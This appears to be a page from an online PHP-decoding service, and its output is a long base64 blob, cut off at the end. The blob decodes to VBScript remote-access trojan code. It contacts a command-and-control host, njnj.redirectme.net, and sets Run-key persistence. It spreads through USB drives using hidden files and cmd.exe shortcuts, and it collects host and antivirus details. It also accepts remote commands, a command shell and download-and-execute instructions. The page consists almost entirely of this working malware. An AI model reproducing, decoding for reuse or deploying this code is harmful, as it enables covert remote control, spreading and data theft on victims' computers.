Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

tyty = tytyy("aG9zdCA9ICJuam5qLnJlZGlyZWN0bWUubmV0Ig0KcG9ydCA9IDEyMw0KaW5zdGFsbGRpciA9ICIl..

Decoded Output download

<?  tyty = tytyy("aG9zdCA9ICJuam5qLnJlZGlyZWN0bWUubmV0Ig0KcG9ydCA9IDEyMw0KaW5zdGFsbGRpciA9ICIldGVtcCUiDQpsbmtmaWxlID0gdHJ1ZQ0KbG5rZm9sZGVyID0gdHJ1ZQ0KZGltIHNoZWxsb2JqIA0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQppbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKGluc3RhbGxkaXIpICYgIlwiDQppZiBub3QgZmlsZXN5c3RlbW9iai5mb2xkZXJleGlzdHMoaW5zdGFsbGRpcikgdGhlbiAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXRlbXAlIikgJiAiXCINCnNwbGl0ZXIgPSAiPHw+Ig0Kc2xlZXAgPSA1MDAwIA0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPSAiIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZSA9ICIiDQpkaW0gb25lb25jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQppbnN0YWxsDQpyZXNwb25zZSA9ICIiDQpyZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdCAocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZCAoMCkNCmNhc2UgImV4Y2VjdXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIG9uZW9uY2UuY2xvc2UNCiAgICAgIHNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0KICAgICAgb25lb25jZS53cml0ZSBwYXJhbQ0KICAgICAgb25lb25jZS5jbG9zZQ0KICAgICAgc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQogICAgICB3c2NyaXB0LnF1aXQgDQpjYXNlICJ1bmluc3RhbGwiDQogICAgICB1bmluc3RhbGwNCmNhc2UgInNlbmQiDQogICAgICBkb3dubG9hZCBjbWQgKDEpLGNtZCAoMikNCmNhc2UgInNpdGUtc2VuZCINCiAgICAgIHNpdGVkb3dubG9hZGVyIGNtZCAoMSksY21kICgyKQ0KY2FzZSAicmVjdiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgdXBsb2FkIChwYXJhbSkNCmNhc2UgICJlbnVtLWRyaXZlciINCiAgICAgIHBvc3QgImlzLWVudW0tZHJpdmVyIixlbnVtZHJpdmVyICANCmNhc2UgICJlbnVtLWZhZiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgcG9zdCAiaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZSAgImVudW0tcHJvY2VzcyINCiAgICAgIHBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MgICANCmNhc2UgICJjbWQtc2hlbGwiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKSAgDQpjYXNlICAiZGVsZXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBkZWxldGVmYWYgKHBhcmFtKSANCmNhc2UgICJleGl0LXByb2Nlc3MiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGV4aXRwcm9jZXNzIChwYXJhbSkgDQpjYXNlICAic2xlZXAiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHNsZWVwID0gZXZhbCAocGFyYW0pICAgICAgICANCmVuZCBzZWxlY3QNCndzY3JpcHQuc2xlZXAgc2xlZXANCndlbmQNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KZGltIGZpbGVpY29uDQpkaW0gZm9sZGVyaWNvbg0KdXBzdGFydA0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUgLCBkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KICAgIGlmICBmaWxlc3lzdGVtb2JqLmZpbGVleGlzdHMgKGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSkgIHRoZW4NCiAgICAgICAgZmlsZXN5c3RlbW9iai5nZXRmaWxlKGRyaXZlLnBhdGggJiAiXCIgICYgaW5zdGFsbG5hbWUpLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICBlbmQgaWYNCiAgICBmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCiAgICAgICAgaWYgbm90IGxua2ZpbGUgdGhlbiBleGl0IGZvcg0KICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgIGlmICBsY2FzZSAoc3BsaXQoZmlsZS5uYW1lLCAiLiIpICh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lID0gc3BsaXQoZmlsZS5uYW1lLCIuIikNCiAgICAgICAgICAgICAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZpbGVuYW1lICgwKSAmICIubG5rIikgDQogICAgICAgICAgICAgICAgICAgIGxua29iai53aW5kb3dzdHlsZSA9IDcNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnRhcmdldHBhdGggPSAiY21kLmV4ZSINCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndvcmtpbmdkaXJlY3RvcnkgPSAiIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiAiJnN0YXJ0ICIgJiByZXBsYWNlKGZpbGUubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgICAgICAgICAgICAgIGZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJiAiXCIpICYgIlxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgICAgICAgICAgICAgaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQogICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCiAgICAgICAgICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICAgICAgICAgICAgIGxua29iai5zYXZlKCkNCiAgICAgICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICBlbmQgaWYNCiAgICBuZXh0DQogICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICBpZiBub3QgbG5rZm9sZGVyIHRoZW4gZXhpdCBmb3INCiAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgZm9sZGVybmFtZSA9IGZvbGRlci5uYW1lDQogICAgICAgIHNldCBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVzaG9ydGN1dCAoZHJpdmUucGF0aCAmICJcIiAgJiBmb2xkZXJuYW1lICYgIi5sbmsiKSANCiAgICAgICAgbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KICAgICAgICBsbmtvYmoudGFyZ2V0cGF0aCA9ICJjbWQuZXhlIg0KICAgICAgICBsbmtvYmoud29ya2luZ2RpcmVjdG9yeSA9ICIiDQogICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiAmIHJlcGxhY2UoaW5zdGFsbG5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmICImc3RhcnQgZXhwbG9yZXIgIiAmIHJlcGxhY2UoZm9sZGVyLm5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmIiZleGl0Ig0KICAgICAgICBmb2xkZXJpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXGZvbGRlclxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgaWYgIGluc3RyIChmb2xkZXJpY29uLCIsIikgPSAwIHRoZW4NCiAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmb2xkZXIucGF0aA0KICAgICAgICBlbHNlIA0KICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZvbGRlcmljb24NCiAgICAgICAgZW5kIGlmDQogICAgICAgIGxua29iai5zYXZlKCkNCiAgICBuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoIGRyaXZlLnBhdGggJiAiXCIpLmZpbGVzDQogICAgICAgICBvbiBlcnJvciByZXN1bWUgbmV4dA0KICAgICAgICAgaWYgIGluc3RyIChmaWxlLm5hbWUsIi4iKSB0aGVuDQogICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpKSA8PiAibG5rIiB0aGVuDQogICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDANCiAgICAgICAgICAgICAgICAgaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJiAiLmxuayIgKQ0KICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlLm5hbWUpDQogICAgICAgICAgICAgICAgIGVuZCBJZg0KICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChmaWxlLnBhdGgpIA0KICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgZW5kIGlmDQogICAgIG5leHQNCiAgICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAwDQogICAgIG5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpdA0KZW5kIHN1Yg0KZnVuY3Rpb24gcG9zdCAoY21kICxwYXJhbSkNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdCA9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KaWYgIGluZiA9ICIiIHRoZW4NCiAgICBpbmYgPSBod2lkICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldXNlcm5hbWUlIikgJiBzcGxpdGVyDQoNCiAgICBzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0KICAgIHNldCBvcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KICAgIGZvciBlYWNoIG9zaW5mbyBpbiBvcw0KICAgICAgIGluZiA9IGluZiAmIG9zaW5mby5jYXB0aW9uICYgc3BsaXRlciAgDQogICAgICAgZXhpdCBmb3INCiAgICBuZXh0DQogICAgaW5mID0gaW5mICYgInBsdXMiICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHNlY3VyaXR5ICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHVzYnNwcmVhZGluZw0KICAgIGluZm9ybWF0aW9uID0gaW5mICANCmVsc2UNCiAgICBpbmZvcm1hdGlvbiA9IGluZg0KZW5kIGlmDQplbmQgZnVuY3Rpb24NCnN1YiB1cHN0YXJ0ICgpDQpvbiBlcnJvciByZXN1bWUgTmV4dA0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCksICAid3NjcmlwdC5leGUgLy9CICIgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCnNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSxpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLHN0YXJ0dXAgJiBpbnN0YWxsbmFtZSAsdHJ1ZQ0KZW5kIHN1Yg0KZnVuY3Rpb24gaHdpZA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCByb290ID0gZ2V0b2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXC5ccm9vdFxjaW12MiIpDQpzZXQgZGlza3MgPSByb290LmV4ZWNxdWVyeSAoInNlbGVjdCAqIGZyb20gd2luMzJfbG9naWNhbGRpc2siKQ0KZm9yIGVhY2ggZGlzayBpbiBkaXNrcw0KICAgIGlmICBkaXNrLnZvbHVtZXNlcmlhbG51bWJlciA8PiAiIiB0aGVuDQogICAgICAgIGh3aWQgPSBkaXNrLnZvbHVtZXNlcmlhbG51bWJlcg0KICAgICAgICBleGl0IGZvcg0KICAgIGVuZCBpZg0KbmV4dA0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBzZWN1cml0eSANCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpzZWN1cml0eSA9ICIiDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIiwsNDgpDQpmb3IgZWFjaCBvYmppdGVtIGluIGNvbGl0ZW1zDQogICAgdmVyc2lvbnN0ciA9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4dA0KdmVyc2lvbnN0ciA9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbiA9IHZlcnNpb25zdHIgKDApICYgIi4iDQpmb3IgIHggPSAxIHRvIHVib3VuZCAodmVyc2lvbnN0cikNCgkgb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICYgIHZlcnNpb25zdHIgKGkpDQpuZXh0DQpvc3ZlcnNpb24gPSBldmFsIChvc3ZlcnNpb24pDQppZiAgb3N2ZXJzaW9uID4gNiB0aGVuIHNjID0gInNlY3VyaXR5Y2VudGVyMiIgZWxzZSBzYyA9ICJzZWN1cml0eWNlbnRlciINCnNldCBvYmpzZWN1cml0eWNlbnRlciA9IGdldG9iamVjdCgid2lubWdtdHM6XFxsb2NhbGhvc3Rccm9vdFwiICYgc2MpDQpTZXQgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCJ3cWwiLDApDQoNCmZvciBlYWNoIG9iamFudGl2aXJ1cyBpbiBjb2xhbnRpdmlydXMNCiAgICBzZWN1cml0eSAgPSBzZWN1cml0eSAgJiBvYmphbnRpdmlydXMuZGlzcGxheW5hbWUgJiAiIC4iDQpuZXh0DQppZiBzZWN1cml0eSAgPSAiIiB0aGVuIHNlY3VyaXR5ICA9ICJuYW4tYXYiDQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluc3RhbmNlDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KdXNic3ByZWFkaW5nID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgJiAiXCIpDQppZiB1c2JzcHJlYWRpbmcgPSAiIiB0aGVuDQogICBpZiBsY2FzZSAoIG1pZCh3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLDIpKSA9ICI6XCIgJiAgbGNhc2UoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgIHVzYnNwcmVhZGluZyA9ICJ0cnVlIC0gIiAmIGRhdGUNCiAgICAgIHNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApICAmICJcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiINCiAgIGVsc2UNCiAgICAgIHVzYnNwcmVhZGluZyA9ICJmYWxzZSAtICIgJiBkYXRlDQogICAgICBzaGVsbG9iai5yZWd3cml0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSAgJiAiXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQoNCiAgIGVuZCBpZg0KZW5kIElmDQp1cHN0YXJ0DQpzZXQgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUpDQpzZXQgaW5zdGFsbGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUpDQppZiAgbGNhc2UgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSA8PiBsY2FzZSAoaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSB0aGVuIA0KICAgIHNoZWxsb2JqLnJ1biAid3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0KICAgIHdzY3JpcHQucXVpdCANCmVuZCBJZg0KZXJyLmNsZWFyDQpzZXQgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKQ0KaWYgIGVyci5udW1iZXIgPiAwIHRoZW4gd3NjcmlwdC5xdWl0DQplbmQgZnVuY3Rpb24NCnN1YiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSkNCnN0cmxpbmsgPSBmaWxldXJsDQpzdHJzYXZldG8gPSBpbnN0YWxsZGlyICYgZmlsZW5hbWUNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIiApDQpvYmpodHRwZG93bmxvYWQub3BlbiAiZ2V0Iiwgc3RybGluaywgZmFsc2UNCm9iamh0dHBkb3dubG9hZC5zZW5kDQpzZXQgb2JqZnNvZG93bmxvYWQgPSBjcmVhdGVvYmplY3QgKCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQppZiAgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyAoc3Ryc2F2ZXRvKSB0aGVuDQogICAgb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZSAoc3Ryc2F2ZXRvKQ0KZW5kIGlmDQogDQppZiBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMjAwIHRoZW4NCiAgIGRpbSAgb2Jqc3RyZWFtZG93bmxvYWQNCiAgIHNldCAgb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQogICB3aXRoIG9ianN0cmVhbWRvd25sb2FkDQoJCS50eXBlID0gMSANCgkJLm9wZW4NCgkJLndyaXRlIG9iamh0dHBkb3dubG9hZC5yZXNwb25zZWJvZHkNCgkJLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQoJCS5jbG9zZQ0KICAgZW5kIHdpdGgNCiAgIHNldCBvYmpzdHJlYW1kb3dubG9hZCA9IG5vdGhpbmcNCmVuZCBpZg0KaWYgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyhzdHJzYXZldG8pIHRoZW4NCiAgIHNoZWxsb2JqLnJ1biBvYmpmc29kb3dubG9hZC5nZXRmaWxlIChzdHJzYXZldG8pLnNob3J0cGF0aA0KZW5kIGlmIA0KZW5kIHN1Yg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQppZiBmaWxlZGlyID0gIiIgdGhlbiANCiAgIGZpbGVkaXIgPSBpbnN0YWxsZGlyDQplbmQgaWYNCnN0cnNhdmV0byA9IGZpbGVkaXIgJiBtaWQgKGZpbGV1cmwsIGluc3RycmV2IChmaWxldXJsLCJcIikgKyAxKQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiKQ0Kb2JqaHR0cGRvd25sb2FkLm9wZW4gInBvc3QiLCJodHRwOi8vIiAmIGhvc3QgJiAiOiIgJiBwb3J0ICYiLyIgJiAiaXMtc2VuZGluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCm9iamh0dHBkb3dubG9hZC5zZW5kICIiDQogICAgIA0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0KICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KaWYgIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPSAyMDAgdGhlbg0KICAgIGRpbSAgb2Jqc3RyZWFtZG93bmxvYWQNCglzZXQgIG9ianN0cmVhbWRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJhZG9kYi5zdHJlYW0iKQ0KICAgIHdpdGggb2Jqc3RyZWFtZG93bmxvYWQgDQoJCSAudHlwZSA9IDEgDQoJCSAub3Blbg0KCQkgLndyaXRlIG9iamh0dHBkb3dubG9hZC5yZXNwb25zZWJvZHkNCgkJIC5zYXZldG9maWxlIHN0cnNhdmV0bw0KCQkgLmNsb3NlDQoJZW5kIHdpdGgNCiAgICBzZXQgb2Jqc3RyZWFtZG93bmxvYWQgID0gbm90aGluZw0KZW5kIGlmDQppZiBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzKHN0cnNhdmV0bykgdGhlbg0KICAgc2hlbGxvYmoucnVuIG9iamZzb2Rvd25sb2FkLmdldGZpbGUgKHN0cnNhdmV0bykuc2hvcnRwYXRoDQplbmQgaWYgDQplbmQgc3ViDQpmdW5jdGlvbiB1cGxvYWQgKGZpbGV1cmwpDQpkaW0gIGh0dHBvYmosb2J